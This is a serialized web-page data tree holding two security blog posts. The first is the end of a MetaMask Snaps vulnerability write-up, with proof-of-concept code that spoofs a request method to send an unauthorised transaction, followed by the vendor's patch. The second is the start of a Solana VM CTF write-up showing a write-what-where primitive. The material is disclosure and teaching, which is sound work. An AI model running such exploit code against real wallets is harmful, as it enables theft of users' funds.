\"snap_dialog\"\n",{"type":23,"tag":314,"props":38915,"children":38916},{"class":316,"line":1216},[38917],{"type":23,"tag":314,"props":38918,"children":38919},{"emptyLinePlaceholder":18},[38920],{"type":28,"value":1088},{"type":23,"tag":314,"props":38922,"children":38923},{"class":316,"line":1301},[38924,38928,38932,38936,38940,38945,38949],{"type":23,"tag":314,"props":38925,"children":38926},{"style":360},[38927],{"type":28,"value":38896},{"type":23,"tag":314,"props":38929,"children":38930},{"style":338},[38931],{"type":28,"value":282},{"type":23,"tag":314,"props":38933,"children":38934},{"style":332},[38935],{"type":28,"value":38660},{"type":23,"tag":314,"props":38937,"children":38938},{"style":354},[38939],{"type":28,"value":1237},{"type":23,"tag":314,"props":38941,"children":38942},{"style":338},[38943],{"type":28,"value":38944}," () ",{"type":23,"tag":314,"props":38946,"children":38947},{"style":321},[38948],{"type":28,"value":14064},{"type":23,"tag":314,"props":38950,"children":38951},{"style":338},[38952],{"type":28,"value":1449},{"type":23,"tag":314,"props":38954,"children":38955},{"class":316,"line":1343},[38956,38960],{"type":23,"tag":314,"props":38957,"children":38958},{"style":2284},[38959],{"type":28,"value":16228},{"type":23,"tag":314,"props":38961,"children":38962},{"style":338},[38963],{"type":28,"value":1449},{"type":23,"tag":314,"props":38965,"children":38966},{"class":316,"line":1351},[38967,38972,38977],{"type":23,"tag":314,"props":38968,"children":38969},{"style":360},[38970],{"type":28,"value":38971}," method:",{"type":23,"tag":314,"props":38973,"children":38974},{"style":1245},[38975],{"type":28,"value":38976}," \"eth_requestAccounts\"",{"type":23,"tag":314,"props":38978,"children":38979},{"style":338},[38980],{"type":28,"value":1870},{"type":23,"tag":314,"props":38982,"children":38983},{"class":316,"line":1387},[38984,38989],{"type":23,"tag":314,"props":38985,"children":38986},{"style":360},[38987],{"type":28,"value":38988}," params:",{"type":23,"tag":314,"props":38990,"children":38991},{"style":338},[38992],{"type":28,"value":38993}," []\n",{"type":23,"tag":314,"props":38995,"children":38996},{"class":316,"line":1422},[38997],{"type":23,"tag":314,"props":38998,"children":38999},{"style":338},[39000],{"type":28,"value":2610},{"type":23,"tag":314,"props":39002,"children":39003},{"class":316,"line":1430},[39004],{"type":23,"tag":314,"props":39005,"children":39006},{"style":338},[39007],{"type":28,"value":5126},{"type":23,"tag":314,"props":39009,"children":39010},{"class":316,"line":1452},[39011],{"type":23,"tag":314,"props":39012,"children":39013},{"emptyLinePlaceholder":18},[39014],{"type":28,"value":1088},{"type":23,"tag":314,"props":39016,"children":39017},{"class":316,"line":1497},[39018,39022,39027,39031,39035,39039,39043],{"type":23,"tag":314,"props":39019,"children":39020},{"style":2284},[39021],{"type":28,"value":38446},{"type":23,"tag":314,"props":39023,"children":39024},{"style":360},[39025],{"type":28,"value":39026}," snap",{"type":23,"tag":314,"props":39028,"children":39029},{"style":338},[39030],{"type":28,"value":282},{"type":23,"tag":314,"props":39032,"children":39033},{"style":332},[39034],{"type":28,"value":30741},{"type":23,"tag":314,"props":39036,"children":39037},{"style":338},[39038],{"type":28,"value":341},{"type":23,"tag":314,"props":39040,"children":39041},{"style":360},[39042],{"type":28,"value":18514},{"type":23,"tag":314,"props":39044,"children":39045},{"style":338},[39046],{"type":28,"value":2414},{"type":23,"tag":314,"props":39048,"children":39049},{"class":316,"line":1539},[39050],{"type":23,"tag":314,"props":39051,"children":39052},{"emptyLinePlaceholder":18},[39053],{"type":28,"value":1088},{"type":23,"tag":314,"props":39055,"children":39056},{"class":316,"line":1548},[39057],{"type":23,"tag":314,"props":39058,"children":39059},{"style":338},[39060],{"type":28,"value":386},{"type":23,"tag":314,"props":39062,"children":39063},{"class":316,"line":1584},[39064],{"type":23,"tag":314,"props":39065,"children":39066},{"emptyLinePlaceholder":18},[39067],{"type":28,"value":1088},{"type":23,"tag":314,"props":39069,"children":39070},{"class":316,"line":1617},[39071,39075,39080],{"type":23,"tag":314,"props":39072,"children":39073},{"style":321},[39074],{"type":28,"value":30625},{"type":23,"tag":314,"props":39076,"children":39077},{"style":332},[39078],{"type":28,"value":39079}," transactionExploit",{"type":23,"tag":314,"props":39081,"children":39082},{"style":338},[39083],{"type":28,"value":38852},{"type":23,"tag":314,"props":39085,"children":39086},{"class":316,"line":1625},[39087,39091,39095,39099,39103,39107],{"type":23,"tag":314,"props":39088,"children":39089},{"style":321},[39090],{"type":28,"value":7110},{"type":23,"tag":314,"props":39092,"children":39093},{"style":360},[39094],{"type":28,"value":18303},{"type":23,"tag":314,"props":39096,"children":39097},{"style":354},[39098],{"type":28,"value":1237},{"type":23,"tag":314,"props":39100,"children":39101},{"style":338},[39102],{"type":28,"value":38872},{"type":23,"tag":314,"props":39104,"children":39105},{"style":2284},[39106],{"type":28,"value":8094},{"type":23,"tag":314,"props":39108,"children":39109},{"style":2674},[39110],{"type":28,"value":38881},{"type":23,"tag":314,"props":39112,"children":39113},{"class":316,"line":1660},[39114],{"type":23,"tag":314,"props":39115,"children":39116},{"emptyLinePlaceholder":18},[39117],{"type":28,"value":1088},{"type":23,"tag":314,"props":39119,"children":39120},{"class":316,"line":1708},[39121,39125,39129,39133,39137],{"type":23,"tag":314,"props":39122,"children":39123},{"style":360},[39124],{"type":28,"value":38896},{"type":23,"tag":314,"props":39126,"children":39127},{"style":338},[39128],{"type":28,"value":282},{"type":23,"tag":314,"props":39130,"children":39131},{"style":360},[39132],{"type":28,"value":37561},{"type":23,"tag":314,"props":39134,"children":39135},{"style":354},[39136],{"type":28,"value":1237},{"type":23,"tag":314,"props":39138,"children":39139},{"style":1245},[39140],{"type":28,"value":38913},{"type":23,"tag":314,"props":39142,"children":39143},{"class":316,"line":1743},[39144],{"type":23,"tag":314,"props":39145,"children":39146},{"emptyLinePlaceholder":18},[39147],{"type":28,"value":1088},{"type":23,"tag":314,"props":39149,"children":39150},{"class":316,"line":1751},[39151,39155,39159,39163,39167,39171,39175],{"type":23,"tag":314,"props":39152,"children":39153},{"style":360},[39154],{"type":28,"value":38896},{"type":23,"tag":314,"props":39156,"children":39157},{"style":338},[39158],{"type":28,"value":282},{"type":23,"tag":314,"props":39160,"children":39161},{"style":332},[39162],{"type":28,"value":38660},{"type":23,"tag":314,"props":39164,"children":39165},{"style":354},[39166],{"type":28,"value":1237},{"type":23,"tag":314,"props":39168,"children":39169},{"style":338},[39170],{"type":28,"value":38944},{"type":23,"tag":314,"props":39172,"children":39173},{"style":321},[39174],{"type":28,"value":14064},{"type":23,"tag":314,"props":39176,"children":39177},{"style":338},[39178],{"type":28,"value":1449},{"type":23,"tag":314,"props":39180,"children":39181},{"class":316,"line":1791},[39182,39186],{"type":23,"tag":314,"props":39183,"children":39184},{"style":2284},[39185],{"type":28,"value":16228},{"type":23,"tag":314,"props":39187,"children":39188},{"style":338},[39189],{"type":28,"value":1449},{"type":23,"tag":314,"props":39191,"children":39192},{"class":316,"line":1805},[39193,39197,39202],{"type":23,"tag":314,"props":39194,"children":39195},{"style":360},[39196],{"type":28,"value":38971},{"type":23,"tag":314,"props":39198,"children":39199},{"style":1245},[39200],{"type":28,"value":39201}," \"eth_sendTransaction\"",{"type":23,"tag":314,"props":39203,"children":39204},{"style":338},[39205],{"type":28,"value":1870},{"type":23,"tag":314,"props":39207,"children":39208},{"class":316,"line":1818},[39209,39213],{"type":23,"tag":314,"props":39210,"children":39211},{"style":360},[39212],{"type":28,"value":38988},{"type":23,"tag":314,"props":39214,"children":39215},{"style":338},[39216],{"type":28,"value":39217}," [{\n",{"type":23,"tag":314,"props":39219,"children":39220},{"class":316,"line":1873},[39221,39225,39230,39234],{"type":23,"tag":314,"props":39222,"children":39223},{"style":360},[39224],{"type":28,"value":31312},{"type":23,"tag":314,"props":39226,"children":39227},{"style":1245},[39228],{"type":28,"value":39229}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":23,"tag":314,"props":39231,"children":39232},{"style":338},[39233],{"type":28,"value":778},{"type":23,"tag":314,"props":39235,"children":39236},{"style":374},[39237],{"type":28,"value":39238},"// change this to your address\n",{"type":23,"tag":314,"props":39240,"children":39241},{"class":316,"line":1891},[39242,39246,39250],{"type":23,"tag":314,"props":39243,"children":39244},{"style":360},[39245],{"type":28,"value":31328},{"type":23,"tag":314,"props":39247,"children":39248},{"style":1245},[39249],{"type":28,"value":39229},{"type":23,"tag":314,"props":39251,"children":39252},{"style":338},[39253],{"type":28,"value":1870},{"type":23,"tag":314,"props":39255,"children":39256},{"class":316,"line":1899},[39257,39262,39267],{"type":23,"tag":314,"props":39258,"children":39259},{"style":360},[39260],{"type":28,"value":39261}," value:",{"type":23,"tag":314,"props":39263,"children":39264},{"style":1245},[39265],{"type":28,"value":39266}," \"0x1\"",{"type":23,"tag":314,"props":39268,"children":39269},{"style":338},[39270],{"type":28,"value":1870},{"type":23,"tag":314,"props":39272,"children":39273},{"class":316,"line":1944},[39274],{"type":23,"tag":314,"props":39275,"children":39276},{"style":338},[39277],{"type":28,"value":39278}," }]\n",{"type":23,"tag":314,"props":39280,"children":39281},{"class":316,"line":2008},[39282],{"type":23,"tag":314,"props":39283,"children":39284},{"style":338},[39285],{"type":28,"value":2610},{"type":23,"tag":314,"props":39287,"children":39288},{"class":316,"line":2043},[39289],{"type":23,"tag":314,"props":39290,"children":39291},{"style":338},[39292],{"type":28,"value":5126},{"type":23,"tag":314,"props":39294,"children":39295},{"class":316,"line":22803},[39296],{"type":23,"tag":314,"props":39297,"children":39298},{"emptyLinePlaceholder":18},[39299],{"type":28,"value":1088},{"type":23,"tag":314,"props":39301,"children":39302},{"class":316,"line":22845},[39303,39307,39311,39315,39319,39323,39327],{"type":23,"tag":314,"props":39304,"children":39305},{"style":2284},[39306],{"type":28,"value":38446},{"type":23,"tag":314,"props":39308,"children":39309},{"style":360},[39310],{"type":28,"value":39026},{"type":23,"tag":314,"props":39312,"children":39313},{"style":338},[39314],{"type":28,"value":282},{"type":23,"tag":314,"props":39316,"children":39317},{"style":332},[39318],{"type":28,"value":30741},{"type":23,"tag":314,"props":39320,"children":39321},{"style":338},[39322],{"type":28,"value":341},{"type":23,"tag":314,"props":39324,"children":39325},{"style":360},[39326],{"type":28,"value":18514},{"type":23,"tag":314,"props":39328,"children":39329},{"style":338},[39330],{"type":28,"value":1025},{"type":23,"tag":314,"props":39332,"children":39333},{"class":316,"line":22878},[39334],{"type":23,"tag":314,"props":39335,"children":39336},{"style":338},[39337],{"type":28,"value":386},{"type":23,"tag":314,"props":39339,"children":39340},{"class":316,"line":22886},[39341],{"type":23,"tag":314,"props":39342,"children":39343},{"emptyLinePlaceholder":18},[39344],{"type":28,"value":1088},{"type":23,"tag":314,"props":39346,"children":39347},{"class":316,"line":22894},[39348,39352,39356,39361,39365,39370,39374,39379,39384,39388,39392,39397,39401],{"type":23,"tag":314,"props":39349,"children":39350},{"style":2284},[39351],{"type":28,"value":37458},{"type":23,"tag":314,"props":39353,"children":39354},{"style":321},[39355],{"type":28,"value":38358},{"type":23,"tag":314,"props":39357,"children":39358},{"style":332},[39359],{"type":28,"value":39360}," onRpcRequest",{"type":23,"tag":314,"props":39362,"children":39363},{"style":354},[39364],{"type":28,"value":3746},{"type":23,"tag":314,"props":39366,"children":39367},{"style":2674},[39368],{"type":28,"value":39369}," OnRpcRequestHandler",{"type":23,"tag":314,"props":39371,"children":39372},{"style":354},[39373],{"type":28,"value":1237},{"type":23,"tag":314,"props":39375,"children":39376},{"style":338},[39377],{"type":28,"value":39378}," ({ ",{"type":23,"tag":314,"props":39380,"children":39381},{"style":360},[39382],{"type":28,"value":39383},"origin",{"type":23,"tag":314,"props":39385,"children":39386},{"style":338},[39387],{"type":28,"value":778},{"type":23,"tag":314,"props":39389,"children":39390},{"style":360},[39391],{"type":28,"value":30741},{"type":23,"tag":314,"props":39393,"children":39394},{"style":338},[39395],{"type":28,"value":39396}," }) ",{"type":23,"tag":314,"props":39398,"children":39399},{"style":321},[39400],{"type":28,"value":14064},{"type":23,"tag":314,"props":39402,"children":39403},{"style":338},[39404],{"type":28,"value":1449},{"type":23,"tag":314,"props":39406,"children":39407},{"class":316,"line":22903},[39408],{"type":23,"tag":314,"props":39409,"children":39410},{"emptyLinePlaceholder":18},[39411],{"type":28,"value":1088},{"type":23,"tag":314,"props":39413,"children":39414},{"class":316,"line":22979},[39415,39420,39424,39428,39432,39436],{"type":23,"tag":314,"props":39416,"children":39417},{"style":2284},[39418],{"type":28,"value":39419}," switch",{"type":23,"tag":314,"props":39421,"children":39422},{"style":338},[39423],{"type":28,"value":2324},{"type":23,"tag":314,"props":39425,"children":39426},{"style":360},[39427],{"type":28,"value":30741},{"type":23,"tag":314,"props":39429,"children":39430},{"style":338},[39431],{"type":28,"value":282},{"type":23,"tag":314,"props":39433,"children":39434},{"style":360},[39435],{"type":28,"value":37561},{"type":23,"tag":314,"props":39437,"children":39438},{"style":338},[39439],{"type":28,"value":367},{"type":23,"tag":314,"props":39441,"children":39442},{"class":316,"line":23012},[39443,39448,39453],{"type":23,"tag":314,"props":39444,"children":39445},{"style":2284},[39446],{"type":28,"value":39447}," case",{"type":23,"tag":314,"props":39449,"children":39450},{"style":1245},[39451],{"type":28,"value":39452}," 'json'",{"type":23,"tag":314,"props":39454,"children":39455},{"style":338},[39456],{"type":28,"value":4822},{"type":23,"tag":314,"props":39458,"children":39459},{"class":316,"line":23020},[39460,39464,39468],{"type":23,"tag":314,"props":39461,"children":39462},{"style":2284},[39463],{"type":28,"value":38604},{"type":23,"tag":314,"props":39465,"children":39466},{"style":332},[39467],{"type":28,"value":38847},{"type":23,"tag":314,"props":39469,"children":39470},{"style":338},[39471],{"type":28,"value":2926},{"type":23,"tag":314,"props":39473,"children":39474},{"class":316,"line":23028},[39475,39479,39484],{"type":23,"tag":314,"props":39476,"children":39477},{"style":2284},[39478],{"type":28,"value":39447},{"type":23,"tag":314,"props":39480,"children":39481},{"style":1245},[39482],{"type":28,"value":39483}," 'transaction'",{"type":23,"tag":314,"props":39485,"children":39486},{"style":338},[39487],{"type":28,"value":4822},{"type":23,"tag":314,"props":39489,"children":39490},{"class":316,"line":23065},[39491,39495,39499],{"type":23,"tag":314,"props":39492,"children":39493},{"style":2284},[39494],{"type":28,"value":38604},{"type":23,"tag":314,"props":39496,"children":39497},{"style":332},[39498],{"type":28,"value":39079},{"type":23,"tag":314,"props":39500,"children":39501},{"style":338},[39502],{"type":28,"value":2926},{"type":23,"tag":314,"props":39504,"children":39505},{"class":316,"line":23078},[39506,39511],{"type":23,"tag":314,"props":39507,"children":39508},{"style":2284},[39509],{"type":28,"value":39510}," default",{"type":23,"tag":314,"props":39512,"children":39513},{"style":338},[39514],{"type":28,"value":4822},{"type":23,"tag":314,"props":39516,"children":39517},{"class":316,"line":23091},[39518,39523,39527,39532,39536,39541],{"type":23,"tag":314,"props":39519,"children":39520},{"style":2284},[39521],{"type":28,"value":39522}," throw",{"type":23,"tag":314,"props":39524,"children":39525},{"style":321},[39526],{"type":28,"value":31180},{"type":23,"tag":314,"props":39528,"children":39529},{"style":332},[39530],{"type":28,"value":39531}," Error",{"type":23,"tag":314,"props":39533,"children":39534},{"style":338},[39535],{"type":28,"value":341},{"type":23,"tag":314,"props":39537,"children":39538},{"style":1245},[39539],{"type":28,"value":39540},"'Method not found.'",{"type":23,"tag":314,"props":39542,"children":39543},{"style":338},[39544],{"type":28,"value":1025},{"type":23,"tag":314,"props":39546,"children":39547},{"class":316,"line":23104},[39548],{"type":23,"tag":314,"props":39549,"children":39550},{"style":338},[39551],{"type":28,"value":5126},{"type":23,"tag":314,"props":39553,"children":39554},{"class":316,"line":23158},[39555],{"type":23,"tag":314,"props":39556,"children":39557},{"style":338},[39558],{"type":28,"value":1545},{"type":23,"tag":24,"props":39560,"children":39561},{},[39562,39564,39570,39572,39577],{"type":28,"value":39563},"We set ",{"type":23,"tag":94,"props":39565,"children":39567},{"className":39566},[],[39568],{"type":28,"value":39569},"x.method = \"snap_dialog\"",{"type":28,"value":39571}," to pass the assertion and setup a toJSON function to change this method to ",{"type":23,"tag":94,"props":39573,"children":39575},{"className":39574},[],[39576],{"type":28,"value":38779},{"type":28,"value":39578}," after.",{"type":23,"tag":837,"props":39580,"children":39582},{"id":39581},"mitigation",[39583],{"type":28,"value":39584},"Mitigation",{"type":23,"tag":24,"props":39586,"children":39587},{},[39588,39590,39595,39597,39604],{"type":28,"value":39589},"Metamask mitigated this issue by asserting the arguments after the ",{"type":23,"tag":94,"props":39591,"children":39593},{"className":39592},[],[39594],{"type":28,"value":38323},{"type":28,"value":39596}," function execution. The patch was introduced on commit ",{"type":23,"tag":31,"props":39598,"children":39601},{"href":39599,"rel":39600},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[35],[39602],{"type":28,"value":39603},"168ff08",{"type":28,"value":39605}," with the following changes:",{"type":23,"tag":304,"props":39607,"children":39611},{"className":39608,"code":39609,"language":39610,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n- assertEthereumOutboundRequest(args);\n- const sanitizedArgs = getSafeJson(args);\n+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+ assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[39612],{"type":23,"tag":94,"props":39613,"children":39614},{"__ignoreMap":7},[39615,39623,39631,39639,39647],{"type":23,"tag":314,"props":39616,"children":39617},{"class":316,"line":317},[39618],{"type":23,"tag":314,"props":39619,"children":39620},{"style":338},[39621],{"type":28,"value":39622},"const request = async (args: RequestArguments) => {\n",{"type":23,"tag":314,"props":39624,"children":39625},{"class":316,"line":370},[39626],{"type":23,"tag":314,"props":39627,"children":39628},{"style":1245},[39629],{"type":28,"value":39630},"- assertEthereumOutboundRequest(args);\n",{"type":23,"tag":314,"props":39632,"children":39633},{"class":316,"line":380},[39634],{"type":23,"tag":314,"props":39635,"children":39636},{"style":1245},[39637],{"type":28,"value":39638},"- const sanitizedArgs = getSafeJson(args);\n",{"type":23,"tag":314,"props":39640,"children":39641},{"class":316,"line":1091},[39642],{"type":23,"tag":314,"props":39643,"children":39644},{"style":1054},[39645],{"type":28,"value":39646},"+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":23,"tag":314,"props":39648,"children":39649},{"class":316,"line":1141},[39650],{"type":23,"tag":314,"props":39651,"children":39652},{"style":1054},[39653],{"type":28,"value":39654},"+ assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":23,"tag":61,"props":39656,"children":39657},{"id":28180},[39658],{"type":28,"value":18185},{"type":23,"tag":24,"props":39660,"children":39661},{},[39662],{"type":28,"value":39663},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":23,"tag":24,"props":39665,"children":39666},{},[39667],{"type":28,"value":39668},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":23,"tag":2096,"props":39670,"children":39671},{},[39672],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":39674},[39675,39676,39683,39691],{"id":18194,"depth":370,"text":18197},{"id":34701,"depth":370,"text":34704,"children":39677},[39678,39679,39680,39681,39682],{"id":34712,"depth":380,"text":34715},{"id":34780,"depth":380,"text":34783},{"id":34816,"depth":380,"text":34819},{"id":36212,"depth":380,"text":36215},{"id":36570,"depth":380,"text":36573},{"id":37357,"depth":370,"text":37360,"children":39684},[39685,39686,39687,39688,39689,39690],{"id":37363,"depth":380,"text":37366},{"id":37407,"depth":380,"text":37410},{"id":38309,"depth":380,"text":38312},{"id":4916,"depth":380,"text":4919},{"id":38752,"depth":380,"text":34078},{"id":39581,"depth":380,"text":39584},{"id":28180,"depth":370,"text":18185},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":39696,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":39697,"description":39698,"author":39699,"image":39701,"date":39703,"isFeatured":18,"onBlogPage":18,"body":39704,"_type":2117,"_id":45120,"_source":2119,"_file":45121,"_stem":45122,"_extension":2122},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[39700,4974],"nicola",{"src":39702},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":20,"children":39705,"toc":45109},[39706,39720,39740,39745,39749,39762,39787,39793,39798,39813,40167,40182,40447,40463,41106,41112,41117,41130,41138,41350,41358,41661,41669,41812,41820,42345,42351,42363,42376,42390,42395,43162,43167,43175,43180,43186,43198,43263,43268,43281,43294,43300,43328,44477,44489,44531,44536,44541,44555,44695,44716,44737,44744,44795,44803,44814,44827,44832,44956,44969,45071,45075,45088,45093,45105],{"type":23,"tag":24,"props":39707,"children":39708},{},[39709,39711,39718],{"type":28,"value":39710},"In the world of CTFs, ",{"type":23,"tag":31,"props":39712,"children":39715},{"href":39713,"rel":39714},"https://twitter.com/paradigm_ctf",[35],[39716],{"type":28,"value":39717},"Paradigm CTF 2023",{"type":28,"value":39719}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":23,"tag":24,"props":39721,"children":39722},{},[39723,39725,39732,39733],{"type":28,"value":39724},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":23,"tag":31,"props":39726,"children":39729},{"href":39727,"rel":39728},"https://osec.io/blog/2022-03-14-solana-security-intro",[35],[39730],{"type":28,"value":39731},"Solana: An Auditor's Introduction",{"type":28,"value":557},{"type":23,"tag":31,"props":39734,"children":39737},{"href":39735,"rel":39736},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[35],[39738],{"type":28,"value":39739},"Reverse Engineering Solana with Binary Ninja.\n",{"type":23,"tag":24,"props":39741,"children":39742},{},[39743],{"type":28,"value":39744},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":23,"tag":61,"props":39746,"children":39747},{"id":18194},[39748],{"type":28,"value":18197},{"type":23,"tag":24,"props":39750,"children":39751},{},[39752,39754,39760],{"type":28,"value":39753},"The challenge itself resides into ",{"type":23,"tag":94,"props":39755,"children":39757},{"className":39756},[],[39758],{"type":28,"value":39759},"framework/",{"type":28,"value":39761},", and is composed of 2 parts:",{"type":23,"tag":127,"props":39763,"children":39764},{},[39765,39776],{"type":23,"tag":88,"props":39766,"children":39767},{},[39768,39774],{"type":23,"tag":94,"props":39769,"children":39771},{"className":39770},[],[39772],{"type":28,"value":39773},"framework/chall/lib.rs",{"type":28,"value":39775},": The on-chain eBPF program that needs to be exploited.",{"type":23,"tag":88,"props":39777,"children":39778},{},[39779,39785],{"type":23,"tag":94,"props":39780,"children":39782},{"className":39781},[],[39783],{"type":28,"value":39784},"framework/src/main.rs",{"type":28,"value":39786},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":23,"tag":837,"props":39788,"children":39790},{"id":39789},"vulnerable-program",[39791],{"type":28,"value":39792},"Vulnerable Program",{"type":23,"tag":24,"props":39794,"children":39795},{},[39796],{"type":28,"value":39797},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":23,"tag":84,"props":39799,"children":39800},{},[39801],{"type":23,"tag":88,"props":39802,"children":39803},{},[39804,39805,39811],{"type":28,"value":6735},{"type":23,"tag":94,"props":39806,"children":39808},{"className":39807},[],[39809],{"type":28,"value":39810},"data[0] == 0",{"type":28,"value":39812}," a function that lets you write-what-where is executed",{"type":23,"tag":304,"props":39814,"children":39816},{"className":2234,"code":39815,"language":2233,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr.write_volatile(val);\n }\n}\n",[39817],{"type":23,"tag":94,"props":39818,"children":39819},{"__ignoreMap":7},[39820,39828,39873,39884,40007,40124,40153,40160],{"type":23,"tag":314,"props":39821,"children":39822},{"class":316,"line":317},[39823],{"type":23,"tag":314,"props":39824,"children":39825},{"style":338},[39826],{"type":28,"value":39827},"#[inline(never)]\n",{"type":23,"tag":314,"props":39829,"children":39830},{"class":316,"line":370},[39831,39835,39839,39844,39848,39852,39856,39860,39864,39868],{"type":23,"tag":314,"props":39832,"children":39833},{"style":321},[39834],{"type":28,"value":12938},{"type":23,"tag":314,"props":39836,"children":39837},{"style":321},[39838],{"type":28,"value":12943},{"type":23,"tag":314,"props":39840,"children":39841},{"style":332},[39842],{"type":28,"value":39843}," write",{"type":23,"tag":314,"props":39845,"children":39846},{"style":338},[39847],{"type":28,"value":341},{"type":23,"tag":314,"props":39849,"children":39850},{"style":360},[39851],{"type":28,"value":249},{"type":23,"tag":314,"props":39853,"children":39854},{"style":354},[39855],{"type":28,"value":3746},{"type":23,"tag":314,"props":39857,"children":39858},{"style":354},[39859],{"type":28,"value":1968},{"type":23,"tag":314,"props":39861,"children":39862},{"style":338},[39863],{"type":28,"value":1312},{"type":23,"tag":314,"props":39865,"children":39866},{"style":2674},[39867],{"type":28,"value":2677},{"type":23,"tag":314,"props":39869,"children":39870},{"style":338},[39871],{"type":28,"value":39872},"]) {\n",{"type":23,"tag":314,"props":39874,"children":39875},{"class":316,"line":380},[39876,39880],{"type":23,"tag":314,"props":39877,"children":39878},{"style":321},[39879],{"type":28,"value":13080},{"type":23,"tag":314,"props":39881,"children":39882},{"style":338},[39883],{"type":28,"value":1449},{"type":23,"tag":314,"props":39885,"children":39886},{"class":316,"line":1091},[39887,39891,39895,39899,39904,39908,39913,39917,39922,39926,39931,39935,39939,39943,39947,39951,39955,39959,39963,39967,39971,39975,39979,39983,39987,39991,39995,39999,40003],{"type":23,"tag":314,"props":39888,"children":39889},{"style":321},[39890],{"type":28,"value":2319},{"type":23,"tag":314,"props":39892,"children":39893},{"style":360},[39894],{"type":28,"value":13104},{"type":23,"tag":314,"props":39896,"children":39897},{"style":354},[39898],{"type":28,"value":1237},{"type":23,"tag":314,"props":39900,"children":39901},{"style":338},[39902],{"type":28,"value":39903}," std",{"type":23,"tag":314,"props":39905,"children":39906},{"style":354},[39907],{"type":28,"value":2737},{"type":23,"tag":314,"props":39909,"children":39910},{"style":338},[39911],{"type":28,"value":39912},"mem",{"type":23,"tag":314,"props":39914,"children":39915},{"style":354},[39916],{"type":28,"value":2737},{"type":23,"tag":314,"props":39918,"children":39919},{"style":332},[39920],{"type":28,"value":39921},"transmute",{"type":23,"tag":314,"props":39923,"children":39924},{"style":354},[39925],{"type":28,"value":2737},{"type":23,"tag":314,"props":39927,"children":39928},{"style":338},[39929],{"type":28,"value":39930},"\u003C[",{"type":23,"tag":314,"props":39932,"children":39933},{"style":2674},[39934],{"type":28,"value":2677},{"type":23,"tag":314,"props":39936,"children":39937},{"style":338},[39938],{"type":28,"value":16466},{"type":23,"tag":314,"props":39940,"children":39941},{"style":1054},[39942],{"type":28,"value":3330},{"type":23,"tag":314,"props":39944,"children":39945},{"style":338},[39946],{"type":28,"value":22298},{"type":23,"tag":314,"props":39948,"children":39949},{"style":354},[39950],{"type":28,"value":256},{"type":23,"tag":314,"props":39952,"children":39953},{"style":321},[39954],{"type":28,"value":2979},{"type":23,"tag":314,"props":39956,"children":39957},{"style":2674},[39958],{"type":28,"value":5114},{"type":23,"tag":314,"props":39960,"children":39961},{"style":338},[39962],{"type":28,"value":6866},{"type":23,"tag":314,"props":39964,"children":39965},{"style":360},[39966],{"type":28,"value":249},{"type":23,"tag":314,"props":39968,"children":39969},{"style":338},[39970],{"type":28,"value":1312},{"type":23,"tag":314,"props":39972,"children":39973},{"style":354},[39974],{"type":28,"value":2306},{"type":23,"tag":314,"props":39976,"children":39977},{"style":1054},[39978],{"type":28,"value":3330},{"type":23,"tag":314,"props":39980,"children":39981},{"style":338},[39982],{"type":28,"value":14653},{"type":23,"tag":314,"props":39984,"children":39985},{"style":354},[39986],{"type":28,"value":282},{"type":23,"tag":314,"props":39988,"children":39989},{"style":332},[39990],{"type":28,"value":25408},{"type":23,"tag":314,"props":39992,"children":39993},{"style":338},[39994],{"type":28,"value":13126},{"type":23,"tag":314,"props":39996,"children":39997},{"style":354},[39998],{"type":28,"value":282},{"type":23,"tag":314,"props":40000,"children":40001},{"style":332},[40002],{"type":28,"value":2921},{"type":23,"tag":314,"props":40004,"children":40005},{"style":338},[40006],{"type":28,"value":14667},{"type":23,"tag":314,"props":40008,"children":40009},{"class":316,"line":1141},[40010,40014,40019,40023,40027,40031,40035,40039,40043,40047,40051,40055,40059,40063,40067,40071,40075,40079,40083,40087,40091,40096,40100,40104,40108,40112,40116,40120],{"type":23,"tag":314,"props":40011,"children":40012},{"style":321},[40013],{"type":28,"value":2319},{"type":23,"tag":314,"props":40015,"children":40016},{"style":360},[40017],{"type":28,"value":40018}," 